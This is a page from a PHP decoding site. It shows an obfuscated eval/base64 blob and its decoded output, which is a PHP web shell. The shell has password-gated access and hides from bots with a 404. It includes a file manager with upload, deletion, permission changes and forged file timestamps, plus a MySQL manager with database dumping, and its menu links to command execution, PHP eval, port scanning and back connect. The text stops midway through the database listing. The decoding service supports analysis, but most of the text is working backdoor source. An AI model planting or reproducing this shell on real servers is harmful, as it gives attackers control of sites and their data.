Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode('3X1rc2PHdeBnukr/4Q4E6wISiBc5L3LIGQ7J4XDEITkEOS+SBV8AF8AdArjQ..

Decoded Output download

@error_reporting(7);
@session_start();
@set_time_limit(0);
@set_magic_quotes_runtime(0);
if( strpos( strtolower( $_SERVER['HTTP_USER_AGENT'] ), 'bot' ) !== false ) {
	header('HTTP/1.0 404 Not Found');
	exit;
}
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\', '/', dirname(__FILE__)).'/');
define('SELF', $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']);
define('IS_WIN', DIRECTORY_SEPARATOR == '\');
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );

if( IS_GPC ) { 
	$_POST = s_array($_POST);
}
$P = $_POST;
unset($_POST);
/*=====================  =====================*/


// cookie , , , 
// cookie 
$cookiepre = '';
// cookie 
$cookiedomain = '';
// cookie 
$cookiepath = '/';
// cookie 
$cookielife = 86400;

/*=====================  =====================*/

$charsetdb = array(
	'big5'			=> 'big5',
	'cp-866'		=> 'cp866',
	'euc-jp'		=> 'ujis',
	'euc-kr'		=> 'euckr',
	'gbk'			=> 'gbk',
	'iso-8859-1'	=> 'latin1',
	'koi8-r'		=> 'koi8r',
	'koi8-u'		=> 'koi8u',
	'utf-8'			=> 'utf8',
	'windows-1252'	=> 'latin1',
);

$act = isset($P['act']) ? $P['act'] : '';
$charset = isset($P['charset']) ? $P['charset'] : 'gbk';
$doing = isset($P['doing']) ? $P['doing'] : '';

for ($i=1;$i<=4;$i++) {
	${'p'.$i} = isset($P['p'.$i]) ? $P['p'.$i] : '';
}

if (isset($charsetdb[$charset])) {
	header("content-Type: text/html; charset=".$charset);
}

$timestamp = time();

/*  */
if ($act == "logout") {
	scookie('loginpass', '', -86400 * 365);
	@header('Location: '.SELF);
	exit;
}
if($pass) {
	if ($act == 'login') {
		if ($pass == $P['password']) {
			scookie('loginpass',$P['password']);
			@header('Location: '.SELF);
			exit;
		}
	}
	if (isset($_COOKIE['loginpass'])) {
		if ($_COOKIE['loginpass'] != $pass) {
			loginpage();
		}
	} else {
		loginpage();
	}
}
/*  */

$errmsg = '';
$uchar = '&#9650;';
$dchar = '&#9660;';
!$act && $act = 'file';

////
$home_cwd = getcwd();
if (isset($P['cwd']) && $P['cwd']) {
	chdir($P['cwd']);
} else {
	chdir(SA_ROOT);
}
$cwd = getcwd();
$web_cwd = $_SERVER['DOCUMENT_ROOT'];
foreach (array('web_cwd','cwd','home_cwd') as $k) {
	if (IS_WIN) {
		$$k = str_replace('\', '/', $$k);
	}
	if (substr($$k, -1) != '/') {
		$$k = $$k.'/';
	}
}

// PHPINFO
if ($act == 'phpinfo') {
	if (IS_PHPINFO) {
		phpinfo();
		exit;
	} else {
		$errmsg = 'phpinfo() function has disabled';
	}
}

if(!function_exists('scandir')) {
	function scandir($cwd) {
		$files = array();
		$dh = opendir($cwd);
		while ($file = readdir($dh)) {
			$files[] = $file;
		}
		return $files ? $files : 0;
	}
}

if ($act == 'down') {
	if (is_file($p1) && is_readable($p1)) {
		@ob_end_clean();
		$fileinfo = pathinfo($p1);
		if (function_exists('mime_content_type')) {
			$type = @mime_content_type($p1);
			header("Content-Type: ".$type);
		} else {
			header('Content-type: application/x-'.$fileinfo['extension']);
		}
		header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
		header('Content-Length: '.sprintf("%u", @filesize($p1)));
		@readfile($p1);
		exit;
	} else {
		$errmsg = 'Can\'t read file';
		$act = 'file';
	}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=<?php echo $charset;?>">
<title><?php echo $act.' - '.$_SERVER['HTTP_HOST'];?></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input, select{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.red{color:#f00;}
.black{color:#000;}
.green{color:#090;}
.b{font-weight:bold;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#fff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:none;}
a:hover{color: #f00;text-decoration:underline;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffa;padding:5px 15px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
.infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
.drives{padding:5px;}
.drives span {margin:auto 7px;}
</style>
<script type="text/javascript">
function checkall(form) {
	for(var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
        if (e.type == 'checkbox') {
			if (e.name != 'chkall' && e.name != 'saveasfile')
				e.checked = form.chkall.checked;
		}
    }
}
function $(id) {
	return document.getElementById(id);
}
function createdir(){
	var newdirname;
	newdirname = prompt('Please input the directory name:', '');
	if (!newdirname) return;
	g(null,null,'createdir',newdirname);
}
function fileperm(pfile, val){
	var newperm;
	newperm = prompt('Current dir/file:'+pfile+'
Please input new permissions:', val);
	if (!newperm) return;
	g(null,null,'fileperm',pfile,newperm);
}
function rename(oldname){
	var newfilename;
	newfilename = prompt('Filename:'+oldname+'
Please input new filename:', '');
	if (!newfilename) return;
	g(null,null,'rename',newfilename,oldname);
}
function createfile(){
	var filename;
	filename = prompt('Please input the file name:', '');
	if (!filename) return;
	g('editfile', null, null, filename);
}
function setdb(dbname) {
	if(!dbname) return;
	$('dbform').tablename.value='';
	$('dbform').doing.value='';
	if ($('dbform').sql_query)
	{
		$('dbform').sql_query.value='';
	}
	$('dbform').submit();
}
function setsort(k) {
	$('dbform').order.value=k;
	$('dbform').submit();
}
function settable(tablename,doing) {
	if(!tablename) return;
	if (doing) {
		$('dbform').doing.value=doing;
	} else {
		$('dbform').doing.value='';
	}
	$('dbform').sql_query.value='';
	$('dbform').tablename.value=tablename;
	$('dbform').submit();
}
function s(act,cwd,p1,p2,p3,p4,charset) {
	if(act != null) $('opform').act.value=act;
	if(cwd != null) $('opform').cwd.value=cwd;
	if(p1 != null) $('opform').p1.value=p1;
	if(p2 != null) $('opform').p2.value=p2;
	if(p3 != null) $('opform').p3.value=p3;
	if(p4 != null) {$('opform').p4.value=p4;}else{$('opform').p4.value='';}
	if(charset != null) $('opform').charset.value=charset;
}
function g(act,cwd,p1,p2,p3,p4,charset) {
	s(act,cwd,p1,p2,p3,p4,charset);
	$('opform').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<?php

formhead(array('name'=>'opform'));
makehide('act', $act);
makehide('cwd', $cwd);
makehide('p1', $p1);
makehide('p2', $p2);
makehide('p3', $p3);
makehide('p4', $p4);
makehide('charset', $charset);
formfoot();

if(!function_exists('posix_getegid')) {
	$user = @get_current_user();
	$uid = @getmyuid();
	$gid = @getmygid();
	$group = "?";
} else {
	$uid = @posix_getpwuid(@posix_geteuid());
	$gid = @posix_getgrgid(@posix_getegid());
	$uid = $uid['uid'];
	$user = $uid['name'];
	$gid = $gid['gid'];
	$group = $gid['name'];
}
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
	<tr class="head">
		<td><span style="float:right;"><?php echo @php_uname();?> / User:<?php echo $uid.' ( '.$user.' ) / Group: '.$gid.' ( '.$group.' )';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
	</tr>
	<tr class="alt1">
		<td>
			<span style="float:right;">Charset:
			<?php
			makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'onchange'=>'g(null,null,null,null,null,null,this.value);'));
			?>
			</span>
			<a href="javascript:g('logout');">Logout</a> | 
			<a href="javascript:g('file',null,'','','','','<?php echo $charset;?>');">File Manager</a> | 
			<a href="javascript:g('mysqladmin',null,'','','','','<?php echo $charset;?>');">MYSQL Manager</a> | 
			<a href="javascript:g('shell',null,'','','','','<?php echo $charset;?>');">Execute Command</a> | 
			<a href="javascript:g('phpenv',null,'','','','','<?php echo $charset;?>');">PHP Variable</a> | 
			<a href="javascript:g('portscan',null,'','','','','<?php echo $charset;?>');">Port Scan</a> | 
			<a href="javascript:g('secinfo',null,'','','','','<?php echo $charset;?>');">Security information</a> | 
			<a href="javascript:g('eval',null,'','','','','<?php echo $charset;?>');">Eval PHP Code</a>
			<?php if (!IS_WIN) {?> | <a href="javascript:g('backconnect',null,'','','','','<?php echo $charset;?>');">Back Connect</a><?php }?>
		</td>
	</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
$errmsg && m($errmsg);

if ($act == 'file') {

	// 
	$dir_writeable = @is_writable($cwd) ? 'Writable' : 'Non-writable';
	if (isset($p1)) {
		switch($p1) {
			case 'createdir':
				// 
				if ($p2) {
					m('Directory created '.(@mkdir($cwd.$p2,0777) ? 'success' : 'failed'));
				}
				break;
			case 'uploadFile':
				// 
				m('File upload '.(@move_uploaded_file($_FILES['uploadfile']['tmp_name'], $cwd.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
				break;
			case 'fileperm':
				// 
				if ($p2 && $p3) {
					$p3 = base_convert($p3, 8, 10);
					m('Set file permissions '.(@chmod($p2, $p3) ? 'success' : 'failed'));
				}
				break;
			case 'rename':
				// 
				if ($p2 && $p3) {
					m($p3.' renamed '.$p2.(@rename($p3, $p2) ? ' success' : ' failed'));
				}
				break;
			case 'clonetime':
				// 
				if ($p2 && $p3) {
					$time = @filemtime($p3);
					m('Set file last modified '.(@touch($p2,$time,$time) ? 'success' : 'failed'));
				}
				break;
			case 'settime':
				// 
				if ($p2 && $p3) {
					$time = strtotime($p3);
					m('Set file last modified '.(@touch($p2,$time,$time) ? 'success' : 'failed'));
				}
				break;
			case 'delete':
				// 
				if ($P['dl']) {
					$succ = $fail = 0;
					foreach ($P['dl'] as $f) {
						if (is_dir($cwd.$f)) {
							if (@deltree($cwd.$f)) {
								$succ++;
							} else {
								$fail++;
							}
						} else {
							if (@unlink($cwd.$f)) {
								$succ++;
							} else {
								$fail++;
							}
						}
					}
					m('Deleted folder/file(s) have finished, choose '.count($P['dl']).', success '.$succ.', fail '.$fail);
				} else {
					m('Please select folder/file(s)');
				}
				break;
			case 'paste':
				if($_SESSION['do'] == 'copy') {
					foreach($_SESSION['dl'] as $f) {
						copy_paste($_SESSION['c'],$f, $cwd);					
					}
				} elseif($_SESSION['do'] == 'move') {
					foreach($_SESSION['dl'] as $f) {
						@rename($_SESSION['c'].$f, $cwd.$f);
					}
				}
				unset($_SESSION['do'], $_SESSION['dl'], $_SESSION['c']);
				break;
			default:
				if($p1 == 'copy' || $p1 == 'move') {
					if (isset($P['dl']) && count($P['dl'])) {
						$_SESSION['do'] = $p1;
						$_SESSION['dl'] = $P['dl'];
						$_SESSION['c'] = $P['cwd'];
						m('Have been copied to the session');
					} else {
						m('Please select folder/file(s)');
					}
				}
				break;
		}
		echo "<script type=\"text/javascript\">$('opform').p1.value='';$('opform').p2.value='';</script>";
	}
	//
	$free = @disk_free_space($cwd);
	!$free && $free = 0;
	$all = @disk_total_space($cwd);
	!$all && $all = 0;
	$used = $all-$free;
	p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)</h2>');

	$cwd_links = '';
	$path = explode('/', $cwd);
	$n=count($path);
	for($i=0;$i<$n-1;$i++) {
		$cwd_links .= '<a href="javascript:g(\'file\', \'';
		for($j=0;$j<=$i;$j++) {
			$cwd_links .= $path[$j].'/';
		}
		$cwd_links .= '\');">'.$path[$i].'/</a>';
	}
echo filebackup();
?>
<script type="text/javascript">
document.onclick = shownav;
function shownav(e){
	var src = e?e.target:event.srcElement;
	do{
		if(src.id =="jumpto") {
			$('inputnav').style.display = "";
			$('pathnav').style.display = "none";
			return;
		}
		if(src.id =="inputnav") {
			return;
		}
		src = src.parentNode;
	}while(src.parentNode)

	$('inputnav').style.display = "none";
	$('pathnav').style.display = "";
}
</script>
<div style="background:#eee;margin-bottom:10px;">
	<form onsubmit="g('file',this.cwd.value);return false;" method="POST" id="godir" name="godir">
		<table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0">
			<tr>
				<td width="100%"><?php echo $cwd_links.' - '.getChmod($cwd).' / '.PermsColor($cwd).getUser($cwd);?> (<?php echo $dir_writeable;?>)</td>
				<td nowrap><input class="bt" id="jumpto" name="jumpto" value="Jump to" type="button"></td>
			</tr>
		</table>
		<table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;">
			<tr>
				<td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($cwd);?>)</td>
				<td width="100%"><input class="input" name="cwd" value="<?php echo $cwd;?>" type="text" style="width:99%;margin:0 8px;"></td>
				<td nowrap><input class="bt" value="GO" type="submit"></td>
			</tr>
		</table>
	</form>
<?php
	if (IS_WIN) {
		$comma = '';
		p('<div class="drives">');
		foreach( range('A','Z') as $drive ) {
			if (is_dir($drive.':/')) {
				p($comma.'<a href="javascript:g(\'file\', \''.$drive.':/\');">'.$drive.':\</a>');
				$comma = '<span>|</span>';
			}
		}
		p('</div>');
	}
?>
</div>
<?php
	p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
	p('<tr class="alt1"><td colspan="6" style="padding:5px;line-height:20px;">');
	p('<form action="'.SELF.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input name="uploadfile" value="" type="file" /> <input class="bt" value="Upload" type="submit" /><input name="charset" value="'.$charset.'" type="hidden" /><input type="hidden" name="p1" value="uploadFile"><input name="cwd" value="'.$cwd.'" type="hidden" /></div></form>');
	p('<a href="javascript:g(\'file\', \''.str_replace('\','/',$web_cwd).'\');">WebRoot</a>');
	p(' | <a href="javascript:g(\'file\', \''.$home_cwd.'\');">ScriptPath</a>');
	p(' | <a href="javascript:g(\'file\',\''.$cwd.'\',null,null,null,\'dir\');">View Writable Directory</a> ');
	p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile();">Create File</a>');
	p('</td></tr>');

	$sort = array('filename', 1);
	if($p1) {
		if(preg_match('!s_([A-z_]+)_(\d{1})!', $p1, $match)) {
			$sort = array($match[1], (int)$match[2]);
		}
	}

	formhead(array('name'=>'flist'));
	makehide('act','file');
	makehide('p1','');
	makehide('cwd',$cwd);
	makehide('charset',$charset);
	p('<tr class="head">');
	p('<td width="2%" nowrap><input name="chkall" value="on" type="checkbox" onclick="checkall(this.form)" /></td>');
	p('<td><a href="javascript:g(\'file\',null,\'s_filename_'.($sort[1]?0:1).'\');">Filename</a> '.($p1 == 's_filename_0' ? $dchar : '').($p1 == 's_filename_1' || !$p1 ? $uchar : '').'</td>');
	p('<td width="16%"><a href="javascript:g(\'file\',null,\'s_mtime_'.($sort[1]?0:1).'\');">Last modified</a> '.($p1 == 's_mtime_0' ? $dchar : '').($p1 == 's_mtime_1' ? $uchar : '').'</td>');
	p('<td width="10%"><a href="javascript:g(\'file\',null,\'s_size_'.($sort[1]?0:1).'\');">Size</a> '.($p1 == 's_size_0' ? $dchar : '').($p1 == 's_size_1' ? $uchar : '').'</td>');
	p('<td width="20%">Chmod / Perms</td>');
	p('<td width="22%">Action</td>');
	p('</tr>');

	//
	$dirdata=$filedata=array();

	if ($p4 == 'dir') {
		$dirdata = GetWDirList($cwd);
		$filedata = array();
	} else {
		// 
		$dirs = @scandir($cwd);
		if ($dirs) {
			$dirs = array_diff($dirs, array('.'));
			foreach ($dirs as $file) {
				$filepath=$cwd.$file;
				if(@is_dir($filepath)){
					$dirdb['filename']=$file;
					$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
					$dirdb['chmod']=getChmod($filepath);
					$dirdb['perm']=PermsColor($filepath);
					$dirdb['owner']=getUser($filepath);
					$dirdb['link']=$filepath;
					if ($file=='..') {
						$dirdata['up']=1;
					} else {
						$dirdata[]=$dirdb;
					}
				} else {
					$filedb['filename']=$file;
					//$filedb['size']=@filesize($filepath);
					$filedb['size']=sprintf("%u", @filesize($filepath));
					$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
					$filedb['chmod']=getChmod($filepath);
					$filedb['perm']=PermsColor($filepath);
					$filedb['owner']=getUser($filepath);
					$filedb['link']=$filepath;
					$filedata[]=$filedb;
				}
			}
			unset($dirdb);
			unset($filedb);
		}
	}
	$dir_i = '0';
	if (isset($dirdata['up'])) {
		$thisbg = bg();
		p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
		p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:g(\'file\',\''.getUpPath($cwd).'\');">Parent Directory</a></td>');
		p('</tr>');
	}
	unset($dirdata['up']);
	usort($dirdata, 'cmp');
	usort($filedata, 'cmp');
	foreach($dirdata as $key => $dirdb){
		if($p1 == 'getsize' && $p2 == $dirdb['filename']) {
			$attachsize = dirsize($p2);
			$attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
		} else {
			$attachsize = '<a href="javascript:g(\'file\', null, \'getsize\', \''.$dirdb['filename'].'\');">Stat</a>';
		}
		$thisbg = bg();
		p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
		p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['filename'].'"></td>');
		p('<td><a href="javascript:g(\'file\',\''.$dirdb['link'].'\')">'.$dirdb['filename'].'</a></td>');
		p('<td nowrap><a href="javascript:g(\'newtime\',null,\''.$dirdb['filename'].'\');">'.$dirdb['mtime'].'</a></td>');
		p('<td nowrap>'.$attachsize.'</td>');
		p('<td nowrap>');
		p('<a href="javascript:fileperm(\''.$dirdb['filename'].'\', \''.$dirdb['chmod'].'\');">'.$dirdb['chmod'].'</a> / ');
		p('<a href="javascript:fileperm(\''.$dirdb['filename'].'\', \''.$dirdb['chmod'].'\');">'.$dirdb['perm'].'</a>'.$dirdb['owner'].'</td>');
		p('<td nowrap><a href="javascript:rename(\''.$dirdb['filename'].'\');">Rename</a></td>');
		p('</tr>');
		$dir_i++;
	}

	p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
	$file_i = '0';

	foreach($filedata as $key => $filedb){
		$fileurl = '/'.str_replace($web_cwd,'',$filedb['link']);
		$thisbg = bg();
		p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
		p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['filename'].'"></td>');
		p('<td>'.((strpos($filedb['link'], $web_cwd) !== false) ? '<a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a>' : $filedb['filename']).'</td>');
		p('<td nowrap><a href="javascript:g(\'newtime\',null,\''.$filedb['filename'].'\');">'.$filedb['mtime'].'</a></td>');
		p('<td nowrap>'.sizecount($filedb['size']).'</td>');
		p('<td nowrap>');
		p('<a href="javascript:fileperm(\''.$filedb['filename'].'\', \''.$filedb['chmod'].'\');">'.$filedb['chmod'].'</a> / ');
		p('<a href="javascript:fileperm(\''.$filedb['filename'].'\', \''.$filedb['chmod'].'\');">'.$filedb['perm'].'</a>'.$filedb['owner'].'</td>');
		p('<td nowrap>');
		p('<a href="javascript:g(\'down\',null,\''.$filedb['filename'].'\');">Down</a> | ');
		p('<a href="javascript:g(\'editfile\',null,null,\''.$filedb['filename'].'\');">Edit</a> | ');
		p('<a href="javascript:rename(\''.$filedb['filename'].'\');">Rename</a>');
		p('</td></tr>');
		$file_i++;
	}
	p('<tr class="'.bg().' head"><td colspan="5"><a href="#" onclick="$(\'flist\').p1.value=\'delete\';$(\'flist\').submit();">Delete</a> | <a href="#" onclick="$(\'flist\').p1.value=\'copy\';$(\'flist\').submit();">Copy</a> | <a href="#" onclick="$(\'flist\').p1.value=\'move\';$(\'flist\').submit();">Move</a>'.(isset($_SESSION['do']) && @count($_SESSION['dl']) ? ' | <a href="#" onclick="$(\'flist\').p1.value=\'paste\';$(\'flist\').submit();">Paste</a>' : '').'</td><td align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
	p('</form></table>');
}// end dir

elseif ($act == 'mysqladmin') {
	$order = isset($P['order']) ? $P['order'] : '';
	$dbhost = isset($P['dbhost']) ? $P['dbhost'] : '';
	$dbuser = isset($P['dbuser']) ? $P['dbuser'] : '';
	$dbpass = isset($P['dbpass']) ? $P['dbpass'] : '';
	$dbname = isset($P['dbname']) ? $P['dbname'] : '';
	$tablename = isset($P['tablename']) ? $P['tablename'] : '';

	if ($doing == 'dump') {
		if (isset($P['bak_table']) && $P['bak_table']) {
			$DB = new DB_MySQL;
			$DB->charsetdb = $charsetdb;
			$DB->charset = $charset;
			$DB->connect($dbhost, $dbuser, $dbpass, $dbname);
			if ($P['saveasfile'] && $P['bak_path']) {
				$fp = @fopen($P['bak_path'],'w');
				if ($fp) {
					foreach($P['bak_table'] as $k => $v) {
						if ($v) {
							$DB->sqldump($v, $fp);
						}
					}
					fclose($fp);				
					$fileurl = str_replace(SA_ROOT,'',$P['bak_path']);
					m('Database has backup to <a href="'.$fileurl.'" target="_blank">'.$P['bak_path'].'</a>');
				} else {
					m('Backup failed');
				}
			} else {
				@ob_end_clean();
				$filename = basename($dbname.'.sql');
				header('Content-type: application/unknown');
				header('Content-Disposition: attachment; filename='.$filename);
				foreach($P['bak_table'] as $k => $v) {
					if ($v) {
						$DB->sqldump($v);
					}
				}
				exit;
			}
			$DB->close();
		} else {
			m('Please choose the table');
		}
		$doing = '';
	}

	formhead(array('title'=>'MYSQL Manager', 'name'=>'dbform'));
	makehide('act','mysqladmin');
	makehide('doing',$doing);
	makehide('charset', $charset);
	makehide('tablename', $tablename);
	makehide('order', $order);
	p('<p>');
	p('DBHost:');
	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
	p('DBUser:');
	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
	p('DBPass:');
	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
	makeinput(array('value'=>'Connect','type'=>'submit','class'=>'bt'));
	p('</p>');

	if ($dbhost && $dbuser && isset($dbpass)) {
		
		// 
		$DB = new DB_MySQL;
		$DB->charsetdb = $charsetdb;
		$DB->charset = $charset;
		$DB->connect($dbhost, $dbuser, $dbpass, $dbname);

		//
		p('<p class="red">MySQL '.$DB->version().' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
		$highver = $DB->version() > '4.1' ? 1 : 0;

		//
		$query = $DB->query("SHOW DATABASES");
		$dbs = array();
		$dbs[] = '-- Select a database --';
		while($db = $DB->fetch($query)) {
			$dbs[$db['Database']] = $db['Database'];
		}
		makeselect(array('name'=>'dbname','option'=>$dbs,'selected'=>$dbname,'onchange'=>'setdb(this.options[this.selectedIndex].value)'));

		if ($dbname) {
			p('<p>Current dababase: <a href="javascript:setdb(\''.$dbname.'\');">'.$dbname.'</a>');
			if ($tablename) {
				p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> ]');
			}
			p('</p>');

			$sql_query = isset($P['sql_query']) ? $P['sql_query'] : '';

			if ($tablename && !$sql_query) {
				$sql_query = "SELECT * FROM $tablename LIMIT 0, 30";
			}
			if ($tablename && $doing == 'structure') {
				$sql_query = "SHOW FULL COLUMNS FROM $tablename;
";
				$sql_query .= "SHOW INDEX FROM $tablename;";
			}
			p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" onclick="$(\'doing\').value=\'\'" style="height:50px;" type="submit" value="Query" /></td></tr></table></p>');
			if ($sql_query) {
				$querys = @explode(';',$sql_query);
				foreach($querys as $num=>$query) {
					if ($query) {
						p("<p class=\"red b\">Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</p>");
						switch($DB->query_res($query))
						{
							case 0:
								p('<h2>'.$DB->halt('Error').'</h2>');
								break;	
							case 1:
								$result = $DB->query($query);
								$tatol = $DB->num_rows($result);
								p('<table border="0" cellpadding="3" cellspacing="0">');
								p('<tr class="head">');
								$fieldnum = @mysql_num_fields($result);
								for($i=0;$i<$fieldnum;$i++){
									p('<td nowrap>'.@mysql_field_name($result, $i).'</td>');
								}
								p('</tr>');
								
								if (!$tatol) {
									p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';"><td nowrap colspan="'.$fieldnum.'" class="red b">No records</td></tr>');
								} else {
									while($mn = $DB->fetch($result)){
										$thisbg = bg();
										p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
										//
										foreach($mn as $key=>$inside){
											p('<td nowrap>'.(($inside == null) ? '<i>null</i>' : html_clean($inside)).'</td>');
										}
										p('</tr>');
										unset($b1);
									}
								}
								p('</table>');
								break;
							case 2:
								p('<h2>Affected Rows : '.$DB->affected_rows().'</h2>');
								break;
						}
					}
				}
			} else {
				$query = $DB->query("SHOW TABLE STATUS");
				$table_num = $table_rows = $data_size = 0;
				$tabledb = array();
				while($table = $DB->fetch($query)) {
					$data_size = $data_size + $table['Data_length'];
					$table_rows = $table_rows + $table['Rows'];
					$table_num++;
					$tabledb[] = $table;
				}
				$data_size = sizecount($data_size);
				unset($table);
				if (count($tabledb)) {
					if ($highver) {
						$db_engine = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'storage_engine';"));						
						$db_collation = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'collation_database';"));
					}
					$sort = array('Name', 1);
					if($order) {
						if(preg_match('!s_([A-z_]+)_(\d{1})!', $order, $match)) {
							$sort = array($match[1], (int)$match[2]);
						}
					}
					usort($tabledb, 'cmp');
					p('<table border="0" cellpadding="0" cellspacing="0" id="lists">');
					p('<tr class="head">');
					p('<td width="2%"><input name="chkall" value="on" type="checkbox" onclick="checkall(this.form)" /></td>');
					p('<td><a href="javascript:setsort(\'s_Name_'.($sort[1]?0:1).'\');">Name</a> '.($order == 's_Name_0' ? $dchar : '').($order == 's_Name_1' || !$order ? $uchar : '').'</td>');
					p('<td><a href="javascript:setsort(\'s_Rows_'.($sort[1]?0:1).'\');">Rows</a>'.($order == 's_Rows_0' ? $dchar : '').($order == 's_Rows_1' ? $uchar : '').'</td>');
					p('<td><a href="javascript:setsort(\'s_Data_length_'.($sort[1]?0:1).'\');">Data_length</a>'.($order == 's_Data_length_0' ? $dchar : '').($order == 's_Data_length_1' ? $uchar : '').'</td>');
					p('<td><a href="javascript:setsort(\'s_Create_time_'.($sort[1]?0:1).'\');">Create_time</a>'.($order == 's_Create_time_0' ? $dchar : '').($order == 's_Create_time_1' ? $uchar : '').'</td>');
					p('<td><a href="javascript:setsort(\'s_Update_time_'.($sort[1]?0:1).'\');">Update_time</a>'.($order == 's_Update_time_0' ? $dchar : '').($order == 's_Update_time_1' ? $uchar : '').'</td>');
					if ($highver) {
						p('<td>Engine</td>');
						p('<td>Collation</td>');
					}
					p('<td>Other</td>');
					p('</tr>');
					foreach ($tabledb as $key => $table) {
						$thisbg = bg();
						p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
						p('<td align="center" width="2%"><input type="checkbox" name="bak_table[]" value="'.$table['Name'].'" /></td>');
						p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');
						p('<td>'.$table['Rows'].'&nbsp;</td>');
						p('<td>'.sizecount($table['Data_length']).'</td>');
						p('<td>'.$table['Create_time'].'&nbsp;</td>');
						p('<td>'.$table['Update_time'].'&nbsp;</td>');
						if ($highver) {
							p('<td>'.$table['Engine'].'</td>');
							p('<td>'.$table['Collation'].'</td>');
						}
						p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a></td>');
						p('</tr>');
					}
					p('<tr class="head">');
					p('<td width="2%">&nbsp;</td>');
					p('<td>'.$table_num.' table(s)</td>');
					p('<td>'.$table_rows.'</td>');
					p('<td>'.$data_size.'</td>');
					p('<td>&nbsp;</td>');
					p('<td>&nbsp;</td>');
					if ($highver) {
						p('<td>'.$db_engine['Value'].'</td>');
						p('<td>'.$db_collation['Value'].'</td>');
					}
					p('<td>&nbsp;</td>');
					p('</tr>');
